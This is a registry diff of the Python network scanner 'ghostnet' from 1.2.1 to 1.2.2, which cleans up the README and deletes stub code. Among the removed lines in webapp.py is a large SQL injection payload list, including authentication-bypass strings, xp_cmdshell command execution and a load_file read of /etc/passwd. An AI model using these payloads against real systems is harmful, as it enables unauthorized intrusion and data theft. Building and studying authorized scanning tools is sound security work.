ghostnet 1.2.1__tar.gz → 1.2.2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {ghostnet-1.2.1 → ghostnet-1.2.2}/PKG-INFO +12 -15
- {ghostnet-1.2.1 → ghostnet-1.2.2}/README.md +10 -13
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/constants.py +1 -1
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/detectors.py +1 -74
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/engine.py +0 -76
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/webapp.py +0 -128
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet.egg-info/PKG-INFO +12 -15
- {ghostnet-1.2.1 → ghostnet-1.2.2}/pyproject.toml +1 -1
- {ghostnet-1.2.1 → ghostnet-1.2.2}/LICENSE +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/__init__.py +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/__main__.py +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/cli.py +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/config.py +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/menu.py +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/netmap.py +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/parsing.py +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/reporting.py +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet/vulndb.py +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet.egg-info/SOURCES.txt +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet.egg-info/dependency_links.txt +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet.egg-info/entry_points.txt +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet.egg-info/requires.txt +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/ghostnet.egg-info/top_level.txt +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/setup.cfg +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/tests/test_smoke.py +0 -0
- {ghostnet-1.2.1 → ghostnet-1.2.2}/vuln.py +0 -0
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: ghostnet
|
|
3
|
-
Version: 1.2.
|
|
4
|
-
Summary: GhostNet -
|
|
3
|
+
Version: 1.2.2
|
|
4
|
+
Summary: GhostNet - Network Scanner
|
|
5
5
|
Author: Jeff Mutugi
|
|
6
6
|
License: MIT
|
|
7
7
|
Project-URL: Homepage, https://github.com/Debug-Jeff/GhostNet
|
|
@@ -35,12 +35,10 @@ Provides-Extra: dev
|
|
|
35
35
|
Requires-Dist: pytest>=7.0; extra == "dev"
|
|
36
36
|
Dynamic: license-file
|
|
37
37
|
|
|
38
|
-
# GhostNet
|
|
38
|
+
# GhostNet
|
|
39
39
|
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
An nmap-style network scanner in Python: host discovery, port scanning,
|
|
43
|
-
service/OS detection, lightweight web checks, and traceroute mapping — via a
|
|
40
|
+
A network scanner in Python: host discovery, port scanning,
|
|
41
|
+
service/OS detection, lightweight web checks, and traceroute mapping via a
|
|
44
42
|
CLI or an interactive menu.
|
|
45
43
|
|
|
46
44
|
> SYN scanning, OS fingerprinting, traceroute and MAC spoofing need
|
|
@@ -49,11 +47,10 @@ CLI or an interactive menu.
|
|
|
49
47
|
|
|
50
48
|
## Install
|
|
51
49
|
|
|
52
|
-
The easiest way
|
|
53
|
-
which installs the `ghostnet` command into its own isolated environment:
|
|
50
|
+
The easiest way is [pipx](https://pipx.pypa.io), which installs the `ghostnet` command into its own isolated environment:
|
|
54
51
|
|
|
55
52
|
```bash
|
|
56
|
-
pipx install git+https://github.com/Debug-Jeff/GhostNet
|
|
53
|
+
pipx install git+https://github.com/Debug-Jeff/GhostNet # core
|
|
57
54
|
pipx install "ghostnet[full] @ git+https://github.com/Debug-Jeff/GhostNet" # + scapy/impacket
|
|
58
55
|
|
|
59
56
|
ghostnet -t 127.0.0.1 # first scan
|
|
@@ -61,7 +58,7 @@ ghostnet # interactive menu
|
|
|
61
58
|
```
|
|
62
59
|
|
|
63
60
|
Installed the core already and want scapy/impacket later? pipx keeps GhostNet
|
|
64
|
-
in its own environment, so a global `pip install scapy` won't be seen
|
|
61
|
+
in its own environment, so a global `pip install scapy` won't be seen; inject
|
|
65
62
|
them into GhostNet's environment instead:
|
|
66
63
|
|
|
67
64
|
```bash
|
|
@@ -70,7 +67,7 @@ pipx inject ghostnet scapy impacket
|
|
|
70
67
|
|
|
71
68
|
(SYN/OS scans on Windows also need Npcap and an administrator shell. Once the
|
|
72
69
|
first release is published to PyPI this becomes simply `pipx install ghostnet`
|
|
73
|
-
|
|
70
|
+
the release workflow publishes automatically when a `v*` tag is pushed.)
|
|
74
71
|
|
|
75
72
|
### Don't have pipx?
|
|
76
73
|
|
|
@@ -98,7 +95,7 @@ sudo apt install pipx # or: python3 -m pip install --user pipx
|
|
|
98
95
|
pipx ensurepath # then restart the terminal
|
|
99
96
|
```
|
|
100
97
|
|
|
101
|
-
Prefer not to use pipx at all? Install into a virtual environment instead
|
|
98
|
+
Prefer not to use pipx at all? Install into a virtual environment instead
|
|
102
99
|
see **From source** below.
|
|
103
100
|
|
|
104
101
|
### From source (for development)
|
|
@@ -114,7 +111,7 @@ python main.py -t 127.0.0.1
|
|
|
114
111
|
|
|
115
112
|
Run `ghostnet`/`python main.py` with **no arguments** for the interactive
|
|
116
113
|
menu, or pass any flag to use the CLI (scriptable, returns an exit code).
|
|
117
|
-
`scapy`/`impacket` are optional
|
|
114
|
+
`scapy`/`impacket` are optional missing ones just disable their features,
|
|
118
115
|
and raw-socket scans (`--syn-scan`, `--traceroute`) still need `sudo`.
|
|
119
116
|
|
|
120
117
|
## Usage
|
|
@@ -167,7 +164,7 @@ optional-dependency symbols). A thin `main.py` shim re-exports the package so
|
|
|
167
164
|
## Disclaimer
|
|
168
165
|
|
|
169
166
|
For authorized security assessment only. Scanning systems without explicit
|
|
170
|
-
permission is illegal in many jurisdictions
|
|
167
|
+
permission is illegal in many jurisdictions only scan what you own or are
|
|
171
168
|
permitted to test.
|
|
172
169
|
|
|
173
170
|
## License
|
|
@@ -1,9 +1,7 @@
|
|
|
1
|
-
# GhostNet
|
|
1
|
+
# GhostNet
|
|
2
2
|
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
An nmap-style network scanner in Python: host discovery, port scanning,
|
|
6
|
-
service/OS detection, lightweight web checks, and traceroute mapping — via a
|
|
3
|
+
A network scanner in Python: host discovery, port scanning,
|
|
4
|
+
service/OS detection, lightweight web checks, and traceroute mapping via a
|
|
7
5
|
CLI or an interactive menu.
|
|
8
6
|
|
|
9
7
|
> SYN scanning, OS fingerprinting, traceroute and MAC spoofing need
|
|
@@ -12,11 +10,10 @@ CLI or an interactive menu.
|
|
|
12
10
|
|
|
13
11
|
## Install
|
|
14
12
|
|
|
15
|
-
The easiest way
|
|
16
|
-
which installs the `ghostnet` command into its own isolated environment:
|
|
13
|
+
The easiest way is [pipx](https://pipx.pypa.io), which installs the `ghostnet` command into its own isolated environment:
|
|
17
14
|
|
|
18
15
|
```bash
|
|
19
|
-
pipx install git+https://github.com/Debug-Jeff/GhostNet
|
|
16
|
+
pipx install git+https://github.com/Debug-Jeff/GhostNet # core
|
|
20
17
|
pipx install "ghostnet[full] @ git+https://github.com/Debug-Jeff/GhostNet" # + scapy/impacket
|
|
21
18
|
|
|
22
19
|
ghostnet -t 127.0.0.1 # first scan
|
|
@@ -24,7 +21,7 @@ ghostnet # interactive menu
|
|
|
24
21
|
```
|
|
25
22
|
|
|
26
23
|
Installed the core already and want scapy/impacket later? pipx keeps GhostNet
|
|
27
|
-
in its own environment, so a global `pip install scapy` won't be seen
|
|
24
|
+
in its own environment, so a global `pip install scapy` won't be seen; inject
|
|
28
25
|
them into GhostNet's environment instead:
|
|
29
26
|
|
|
30
27
|
```bash
|
|
@@ -33,7 +30,7 @@ pipx inject ghostnet scapy impacket
|
|
|
33
30
|
|
|
34
31
|
(SYN/OS scans on Windows also need Npcap and an administrator shell. Once the
|
|
35
32
|
first release is published to PyPI this becomes simply `pipx install ghostnet`
|
|
36
|
-
|
|
33
|
+
the release workflow publishes automatically when a `v*` tag is pushed.)
|
|
37
34
|
|
|
38
35
|
### Don't have pipx?
|
|
39
36
|
|
|
@@ -61,7 +58,7 @@ sudo apt install pipx # or: python3 -m pip install --user pipx
|
|
|
61
58
|
pipx ensurepath # then restart the terminal
|
|
62
59
|
```
|
|
63
60
|
|
|
64
|
-
Prefer not to use pipx at all? Install into a virtual environment instead
|
|
61
|
+
Prefer not to use pipx at all? Install into a virtual environment instead
|
|
65
62
|
see **From source** below.
|
|
66
63
|
|
|
67
64
|
### From source (for development)
|
|
@@ -77,7 +74,7 @@ python main.py -t 127.0.0.1
|
|
|
77
74
|
|
|
78
75
|
Run `ghostnet`/`python main.py` with **no arguments** for the interactive
|
|
79
76
|
menu, or pass any flag to use the CLI (scriptable, returns an exit code).
|
|
80
|
-
`scapy`/`impacket` are optional
|
|
77
|
+
`scapy`/`impacket` are optional missing ones just disable their features,
|
|
81
78
|
and raw-socket scans (`--syn-scan`, `--traceroute`) still need `sudo`.
|
|
82
79
|
|
|
83
80
|
## Usage
|
|
@@ -130,7 +127,7 @@ optional-dependency symbols). A thin `main.py` shim re-exports the package so
|
|
|
130
127
|
## Disclaimer
|
|
131
128
|
|
|
132
129
|
For authorized security assessment only. Scanning systems without explicit
|
|
133
|
-
permission is illegal in many jurisdictions
|
|
130
|
+
permission is illegal in many jurisdictions only scan what you own or are
|
|
134
131
|
permitted to test.
|
|
135
132
|
|
|
136
133
|
## License
|
|
@@ -243,10 +243,7 @@ class ServiceDetector:
|
|
|
243
243
|
def __init__(self, config):
|
|
244
244
|
self.config = config
|
|
245
245
|
self.logger = logging.getLogger("GhostNet.ServiceDetector")
|
|
246
|
-
|
|
247
|
-
# defined -> AttributeError on construction. Patterns are unused here;
|
|
248
|
-
# banner analysis relies on SERVICE_FINGERPRINTS.)
|
|
249
|
-
|
|
246
|
+
|
|
250
247
|
def detect_service(self, target, port, protocol="tcp"):
|
|
251
248
|
"""Detect service running on a port"""
|
|
252
249
|
service_info = {
|
|
@@ -534,73 +531,3 @@ class ServiceDetector:
|
|
|
534
531
|
finally:
|
|
535
532
|
sock.close()
|
|
536
533
|
|
|
537
|
-
# Vulnerability Scanner for basic vulnerability checks
|
|
538
|
-
|
|
539
|
-
class PatternManager:
|
|
540
|
-
def __init__(self):
|
|
541
|
-
self.patterns_file = "patterns.json"
|
|
542
|
-
self.patterns_db = "patterns.db"
|
|
543
|
-
|
|
544
|
-
def load_patterns(self):
|
|
545
|
-
patterns = {}
|
|
546
|
-
# Try loading from local file first
|
|
547
|
-
if os.path.exists(self.patterns_file):
|
|
548
|
-
with open(self.patterns_file, 'r') as f:
|
|
549
|
-
patterns.update(json.load(f))
|
|
550
|
-
|
|
551
|
-
# Then try database
|
|
552
|
-
try:
|
|
553
|
-
conn = sqlite3.connect(self.patterns_db)
|
|
554
|
-
cursor = conn.cursor()
|
|
555
|
-
cursor.execute("SELECT service, pattern FROM patterns")
|
|
556
|
-
for service, pattern in cursor.fetchall():
|
|
557
|
-
if service not in patterns:
|
|
558
|
-
patterns[service] = []
|
|
559
|
-
patterns[service].append(pattern)
|
|
560
|
-
except:
|
|
561
|
-
pass
|
|
562
|
-
|
|
563
|
-
return patterns
|
|
564
|
-
|
|
565
|
-
|
|
566
|
-
class ServiceFingerprinter:
|
|
567
|
-
def __init__(self):
|
|
568
|
-
self.fingerprints = self.load_fingerprints()
|
|
569
|
-
self.nmap = nmap.PortScanner()
|
|
570
|
-
|
|
571
|
-
def load_fingerprints(self):
|
|
572
|
-
# Load from nmap-service-probes
|
|
573
|
-
fingerprints = {}
|
|
574
|
-
with open('/usr/share/nmap/nmap-service-probes', 'r') as f:
|
|
575
|
-
# Parse nmap probe file
|
|
576
|
-
pass
|
|
577
|
-
return fingerprints
|
|
578
|
-
|
|
579
|
-
|
|
580
|
-
class OSFingerprinter:
|
|
581
|
-
def __init__(self):
|
|
582
|
-
self.signatures = self.load_signatures()
|
|
583
|
-
|
|
584
|
-
def fingerprint(self, target):
|
|
585
|
-
results = []
|
|
586
|
-
methods = [
|
|
587
|
-
self.tcp_fingerprint,
|
|
588
|
-
self.icmp_fingerprint,
|
|
589
|
-
self.smb_fingerprint,
|
|
590
|
-
self.http_fingerprint
|
|
591
|
-
]
|
|
592
|
-
|
|
593
|
-
for method in methods:
|
|
594
|
-
try:
|
|
595
|
-
result = method(target)
|
|
596
|
-
if result:
|
|
597
|
-
results.append(result)
|
|
598
|
-
except Exception as e:
|
|
599
|
-
self.logger.error(f"Fingerprinting error: {e}")
|
|
600
|
-
|
|
601
|
-
return self.analyze_results(results)
|
|
602
|
-
|
|
603
|
-
# NOTE: a second, non-functional SMBScanner stub previously lived here and
|
|
604
|
-
# shadowed the working SMBScanner defined earlier in this file. Removed in
|
|
605
|
-
# Phase 1 de-duplication.
|
|
606
|
-
|
|
@@ -34,9 +34,6 @@ from .netmap import NetworkMapper
|
|
|
34
34
|
|
|
35
35
|
class Scanner:
|
|
36
36
|
def __init__(self, config):
|
|
37
|
-
# Progress bar needs the total task count, which isn't known until
|
|
38
|
-
# initialize() computes targets x ports. Deferred; wired up in a later
|
|
39
|
-
# phase. (Was crashing here: ProgressBar() called without `total`.)
|
|
40
37
|
self.progress_bar = None
|
|
41
38
|
self.port_state = {}
|
|
42
39
|
self.resume_capability = ScanResume()
|
|
@@ -487,56 +484,6 @@ class RateLimiter:
|
|
|
487
484
|
return False
|
|
488
485
|
|
|
489
486
|
|
|
490
|
-
class ScanProgress:
|
|
491
|
-
def __init__(self, total_tasks):
|
|
492
|
-
self.total = total_tasks
|
|
493
|
-
self.completed = 0
|
|
494
|
-
self.start_time = time.time()
|
|
495
|
-
|
|
496
|
-
|
|
497
|
-
class ResourceManager:
|
|
498
|
-
def __init__(self, max_threads=50, timeout=30):
|
|
499
|
-
self.thread_pool = ThreadPoolExecutor(max_workers=max_threads)
|
|
500
|
-
self.timeout = timeout
|
|
501
|
-
|
|
502
|
-
|
|
503
|
-
class ScanError(Exception):
|
|
504
|
-
"""Base exception for scanning errors"""
|
|
505
|
-
pass
|
|
506
|
-
|
|
507
|
-
class PortError(ScanError):
|
|
508
|
-
"""Invalid port specification"""
|
|
509
|
-
pass
|
|
510
|
-
|
|
511
|
-
class NetworkError(ScanError):
|
|
512
|
-
"""Network-related errors"""
|
|
513
|
-
pass
|
|
514
|
-
|
|
515
|
-
class PermissionError(ScanError):
|
|
516
|
-
"""Permission-related errors"""
|
|
517
|
-
pass
|
|
518
|
-
|
|
519
|
-
|
|
520
|
-
class ProgressBar:
|
|
521
|
-
def __init__(self, total):
|
|
522
|
-
self.total = total
|
|
523
|
-
self.current = 0
|
|
524
|
-
self.start_time = time.time()
|
|
525
|
-
|
|
526
|
-
def update(self, amount=1):
|
|
527
|
-
self.current += amount
|
|
528
|
-
self._display_progress()
|
|
529
|
-
|
|
530
|
-
def _display_progress(self):
|
|
531
|
-
percentage = (self.current / self.total) * 100
|
|
532
|
-
elapsed = time.time() - self.start_time
|
|
533
|
-
rate = self.current / elapsed if elapsed > 0 else 0
|
|
534
|
-
|
|
535
|
-
sys.stdout.write(f"\rProgress: [{self.current}/{self.total}] {percentage:.1f}% "
|
|
536
|
-
f"Rate: {rate:.1f} ports/sec")
|
|
537
|
-
sys.stdout.flush()
|
|
538
|
-
|
|
539
|
-
|
|
540
487
|
class ScanResume:
|
|
541
488
|
def __init__(self):
|
|
542
489
|
self.save_file = "scan_state.json"
|
|
@@ -559,20 +506,6 @@ class ScanResume:
|
|
|
559
506
|
|
|
560
507
|
# Reporter class for output generation
|
|
561
508
|
|
|
562
|
-
class PortRange:
|
|
563
|
-
FULL_RANGE = range(1, 65536)
|
|
564
|
-
COMMON_PORTS = [21, 22, 23, ...] # Your current list
|
|
565
|
-
TOP_1000 = [...] # Nmap's top 1000 ports
|
|
566
|
-
|
|
567
|
-
@staticmethod
|
|
568
|
-
def get_ports(scan_type="common"):
|
|
569
|
-
if scan_type == "full":
|
|
570
|
-
return list(PortRange.FULL_RANGE)
|
|
571
|
-
elif scan_type == "top1000":
|
|
572
|
-
return PortRange.TOP_1000
|
|
573
|
-
return PortRange.COMMON_PORTS
|
|
574
|
-
|
|
575
|
-
|
|
576
509
|
class ResultManager:
|
|
577
510
|
def __init__(self):
|
|
578
511
|
self.results = {}
|
|
@@ -586,12 +519,3 @@ class ResultManager:
|
|
|
586
519
|
(target, json.dumps(result), datetime.now().isoformat())
|
|
587
520
|
)
|
|
588
521
|
conn.commit()
|
|
589
|
-
|
|
590
|
-
|
|
591
|
-
# NOTE: a broken VulnerabilityDB stub lived here. It referenced NVDApi() and
|
|
592
|
-
# LocalVulnDB(), neither of which exists (NameError on construction), and
|
|
593
|
-
# duplicated the role of VulnerabilityDatabase (live NVD) and
|
|
594
|
-
# VulnerabilityScanner (offline DB). Removed in Phase 1 de-duplication.
|
|
595
|
-
|
|
596
|
-
|
|
597
|
-
# Service Detector for advanced service fingerprinting
|
|
@@ -104,9 +104,6 @@ class WebAppScanner:
|
|
|
104
104
|
|
|
105
105
|
def check_vulnerabilities(self, target, port, use_ssl):
|
|
106
106
|
vulns = []
|
|
107
|
-
# Only checks that are implemented are wired in; the rest arrive in
|
|
108
|
-
# Phase 3 (the previous list referenced check_csrf/check_file_inclusion/
|
|
109
|
-
# check_open_redirects, which were never defined -> AttributeError).
|
|
110
107
|
checks = [
|
|
111
108
|
self.check_sql_injection,
|
|
112
109
|
self.check_xss,
|
|
@@ -416,128 +413,3 @@ class SMBScanner:
|
|
|
416
413
|
|
|
417
414
|
return vulns
|
|
418
415
|
|
|
419
|
-
# Enhanced Web Application Scanner
|
|
420
|
-
|
|
421
|
-
class WebSecurityScanner:
|
|
422
|
-
def scan(self, target, port):
|
|
423
|
-
results = {
|
|
424
|
-
'sqli': self.check_sql_injection(target, port),
|
|
425
|
-
'xss': self.check_xss(target, port),
|
|
426
|
-
'forms': self.analyze_forms(target, port),
|
|
427
|
-
'endpoints': self.discover_endpoints(target, port)
|
|
428
|
-
}
|
|
429
|
-
return results
|
|
430
|
-
|
|
431
|
-
|
|
432
|
-
class SQLInjectionPayloads:
|
|
433
|
-
def __init__(self):
|
|
434
|
-
self.payloads = {
|
|
435
|
-
"authentication_bypass": [
|
|
436
|
-
"' OR '1'='1",
|
|
437
|
-
"' OR '1'='1' --",
|
|
438
|
-
"' OR '1'='1' /*",
|
|
439
|
-
"' OR '1'='1' #",
|
|
440
|
-
"admin' --",
|
|
441
|
-
"admin' #",
|
|
442
|
-
"admin'/*",
|
|
443
|
-
"' OR 'x'='x",
|
|
444
|
-
"' OR 1=1 LIMIT 1 --",
|
|
445
|
-
"\" OR \"\"=\"",
|
|
446
|
-
"') OR ('1'='1",
|
|
447
|
-
"' OR 1=1#",
|
|
448
|
-
"\" OR 1=1#",
|
|
449
|
-
"or 1=1--",
|
|
450
|
-
"or 1=1#",
|
|
451
|
-
"' or 1=1#",
|
|
452
|
-
"\" or 1=1#"
|
|
453
|
-
],
|
|
454
|
-
"error_based": [
|
|
455
|
-
"' AND 1=convert(int,@@version) --",
|
|
456
|
-
"' AND 1=cast((SELECT @@version) as int) --",
|
|
457
|
-
"' AND 1=convert(int,user) --",
|
|
458
|
-
"' AND 1=convert(int,system_user) --",
|
|
459
|
-
"' AND 1=convert(int,db_name()) --",
|
|
460
|
-
"' AND extractvalue(1,concat(0x7e,version(),0x7e)) --",
|
|
461
|
-
"' AND updatexml(1,concat(0x7e,version(),0x7e),1) --",
|
|
462
|
-
"' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --",
|
|
463
|
-
"' OR 1 GROUP BY CONCAT(version(),FLOOR(RAND(0)*2)) HAVING MIN(0) --"
|
|
464
|
-
],
|
|
465
|
-
"union_based": [
|
|
466
|
-
"' UNION SELECT NULL--",
|
|
467
|
-
"' UNION SELECT NULL,NULL--",
|
|
468
|
-
"' UNION SELECT NULL,NULL,NULL--",
|
|
469
|
-
"' UNION ALL SELECT NULL--",
|
|
470
|
-
"') UNION SELECT NULL--",
|
|
471
|
-
"' UNION SELECT 1--",
|
|
472
|
-
"' UNION SELECT 1,2--",
|
|
473
|
-
"' UNION SELECT 1,2,3--",
|
|
474
|
-
"' UNION SELECT version()--",
|
|
475
|
-
"' UNION SELECT user()--",
|
|
476
|
-
"' UNION SELECT database()--",
|
|
477
|
-
"' UNION SELECT @@version--"
|
|
478
|
-
],
|
|
479
|
-
"time_based": [
|
|
480
|
-
"'; WAITFOR DELAY '0:0:5'--",
|
|
481
|
-
"'); WAITFOR DELAY '0:0:5'--",
|
|
482
|
-
"'; SLEEP(5)--",
|
|
483
|
-
"'); SLEEP(5)--",
|
|
484
|
-
"' AND SLEEP(5)--",
|
|
485
|
-
"' OR SLEEP(5)--",
|
|
486
|
-
"\" AND SLEEP(5)--",
|
|
487
|
-
"' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
|
|
488
|
-
"' AND IF(1=1,SLEEP(5),0)--",
|
|
489
|
-
"'; SELECT pg_sleep(5)--"
|
|
490
|
-
],
|
|
491
|
-
"boolean_based": [
|
|
492
|
-
"' AND 1=1--",
|
|
493
|
-
"' AND 1=2--",
|
|
494
|
-
"' AND 'a'='a",
|
|
495
|
-
"' AND 'a'='b",
|
|
496
|
-
"' AND substring(version(),1,1)='5'--",
|
|
497
|
-
"' AND ascii(substring(version(),1,1))=53--",
|
|
498
|
-
"' AND length(version())>10--",
|
|
499
|
-
"' AND (SELECT COUNT(*) FROM information_schema.tables)>0--"
|
|
500
|
-
],
|
|
501
|
-
"stacked_queries": [
|
|
502
|
-
"'; SELECT version()--",
|
|
503
|
-
"'; SELECT current_user()--",
|
|
504
|
-
"'; SELECT database()--",
|
|
505
|
-
"'); SELECT version()--",
|
|
506
|
-
"'; SELECT @@version--",
|
|
507
|
-
"'; EXEC xp_cmdshell('whoami')--",
|
|
508
|
-
"'; SELECT load_file('/etc/passwd')--",
|
|
509
|
-
"'; SELECT * FROM information_schema.tables--"
|
|
510
|
-
],
|
|
511
|
-
"database_specific": {
|
|
512
|
-
"mysql": [
|
|
513
|
-
"' UNION SELECT @@version--",
|
|
514
|
-
"' UNION SELECT database()--",
|
|
515
|
-
"' UNION SELECT user()--",
|
|
516
|
-
"' AND (SELECT * FROM information_schema.tables)--",
|
|
517
|
-
"' AND SLEEP(5)--",
|
|
518
|
-
"' AND BENCHMARK(5000000,MD5(1))--"
|
|
519
|
-
],
|
|
520
|
-
"postgresql": [
|
|
521
|
-
"' UNION SELECT version()--",
|
|
522
|
-
"' UNION SELECT current_database()--",
|
|
523
|
-
"' UNION SELECT current_user--",
|
|
524
|
-
"'; SELECT pg_sleep(5)--",
|
|
525
|
-
"' AND (SELECT COUNT(*) FROM pg_tables)>0--"
|
|
526
|
-
],
|
|
527
|
-
"mssql": [
|
|
528
|
-
"' UNION SELECT @@version--",
|
|
529
|
-
"' UNION SELECT DB_NAME()--",
|
|
530
|
-
"' UNION SELECT SYSTEM_USER--",
|
|
531
|
-
"'; WAITFOR DELAY '0:0:5'--",
|
|
532
|
-
"' AND (SELECT COUNT(*) FROM sysobjects)>0--"
|
|
533
|
-
],
|
|
534
|
-
"oracle": [
|
|
535
|
-
"' UNION SELECT banner FROM v$version--",
|
|
536
|
-
"' UNION SELECT * FROM dual--",
|
|
537
|
-
"' UNION SELECT user FROM dual--",
|
|
538
|
-
"' AND (SELECT COUNT(*) FROM all_tables)>0--",
|
|
539
|
-
"' AND 1=dbms_pipe.receive_message('a',5)--"
|
|
540
|
-
]
|
|
541
|
-
}
|
|
542
|
-
}
|
|
543
|
-
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: ghostnet
|
|
3
|
-
Version: 1.2.
|
|
4
|
-
Summary: GhostNet -
|
|
3
|
+
Version: 1.2.2
|
|
4
|
+
Summary: GhostNet - Network Scanner
|
|
5
5
|
Author: Jeff Mutugi
|
|
6
6
|
License: MIT
|
|
7
7
|
Project-URL: Homepage, https://github.com/Debug-Jeff/GhostNet
|
|
@@ -35,12 +35,10 @@ Provides-Extra: dev
|
|
|
35
35
|
Requires-Dist: pytest>=7.0; extra == "dev"
|
|
36
36
|
Dynamic: license-file
|
|
37
37
|
|
|
38
|
-
# GhostNet
|
|
38
|
+
# GhostNet
|
|
39
39
|
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
An nmap-style network scanner in Python: host discovery, port scanning,
|
|
43
|
-
service/OS detection, lightweight web checks, and traceroute mapping — via a
|
|
40
|
+
A network scanner in Python: host discovery, port scanning,
|
|
41
|
+
service/OS detection, lightweight web checks, and traceroute mapping via a
|
|
44
42
|
CLI or an interactive menu.
|
|
45
43
|
|
|
46
44
|
> SYN scanning, OS fingerprinting, traceroute and MAC spoofing need
|
|
@@ -49,11 +47,10 @@ CLI or an interactive menu.
|
|
|
49
47
|
|
|
50
48
|
## Install
|
|
51
49
|
|
|
52
|
-
The easiest way
|
|
53
|
-
which installs the `ghostnet` command into its own isolated environment:
|
|
50
|
+
The easiest way is [pipx](https://pipx.pypa.io), which installs the `ghostnet` command into its own isolated environment:
|
|
54
51
|
|
|
55
52
|
```bash
|
|
56
|
-
pipx install git+https://github.com/Debug-Jeff/GhostNet
|
|
53
|
+
pipx install git+https://github.com/Debug-Jeff/GhostNet # core
|
|
57
54
|
pipx install "ghostnet[full] @ git+https://github.com/Debug-Jeff/GhostNet" # + scapy/impacket
|
|
58
55
|
|
|
59
56
|
ghostnet -t 127.0.0.1 # first scan
|
|
@@ -61,7 +58,7 @@ ghostnet # interactive menu
|
|
|
61
58
|
```
|
|
62
59
|
|
|
63
60
|
Installed the core already and want scapy/impacket later? pipx keeps GhostNet
|
|
64
|
-
in its own environment, so a global `pip install scapy` won't be seen
|
|
61
|
+
in its own environment, so a global `pip install scapy` won't be seen; inject
|
|
65
62
|
them into GhostNet's environment instead:
|
|
66
63
|
|
|
67
64
|
```bash
|
|
@@ -70,7 +67,7 @@ pipx inject ghostnet scapy impacket
|
|
|
70
67
|
|
|
71
68
|
(SYN/OS scans on Windows also need Npcap and an administrator shell. Once the
|
|
72
69
|
first release is published to PyPI this becomes simply `pipx install ghostnet`
|
|
73
|
-
|
|
70
|
+
the release workflow publishes automatically when a `v*` tag is pushed.)
|
|
74
71
|
|
|
75
72
|
### Don't have pipx?
|
|
76
73
|
|
|
@@ -98,7 +95,7 @@ sudo apt install pipx # or: python3 -m pip install --user pipx
|
|
|
98
95
|
pipx ensurepath # then restart the terminal
|
|
99
96
|
```
|
|
100
97
|
|
|
101
|
-
Prefer not to use pipx at all? Install into a virtual environment instead
|
|
98
|
+
Prefer not to use pipx at all? Install into a virtual environment instead
|
|
102
99
|
see **From source** below.
|
|
103
100
|
|
|
104
101
|
### From source (for development)
|
|
@@ -114,7 +111,7 @@ python main.py -t 127.0.0.1
|
|
|
114
111
|
|
|
115
112
|
Run `ghostnet`/`python main.py` with **no arguments** for the interactive
|
|
116
113
|
menu, or pass any flag to use the CLI (scriptable, returns an exit code).
|
|
117
|
-
`scapy`/`impacket` are optional
|
|
114
|
+
`scapy`/`impacket` are optional missing ones just disable their features,
|
|
118
115
|
and raw-socket scans (`--syn-scan`, `--traceroute`) still need `sudo`.
|
|
119
116
|
|
|
120
117
|
## Usage
|
|
@@ -167,7 +164,7 @@ optional-dependency symbols). A thin `main.py` shim re-exports the package so
|
|
|
167
164
|
## Disclaimer
|
|
168
165
|
|
|
169
166
|
For authorized security assessment only. Scanning systems without explicit
|
|
170
|
-
permission is illegal in many jurisdictions
|
|
167
|
+
permission is illegal in many jurisdictions only scan what you own or are
|
|
171
168
|
permitted to test.
|
|
172
169
|
|
|
173
170
|
## License
|
|
@@ -5,7 +5,7 @@ build-backend = "setuptools.build_meta"
|
|
|
5
5
|
[project]
|
|
6
6
|
name = "ghostnet"
|
|
7
7
|
dynamic = ["version"]
|
|
8
|
-
description = "GhostNet -
|
|
8
|
+
description = "GhostNet - Network Scanner"
|
|
9
9
|
readme = "README.md"
|
|
10
10
|
requires-python = ">=3.8"
|
|
11
11
|
license = { text = "MIT" }
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|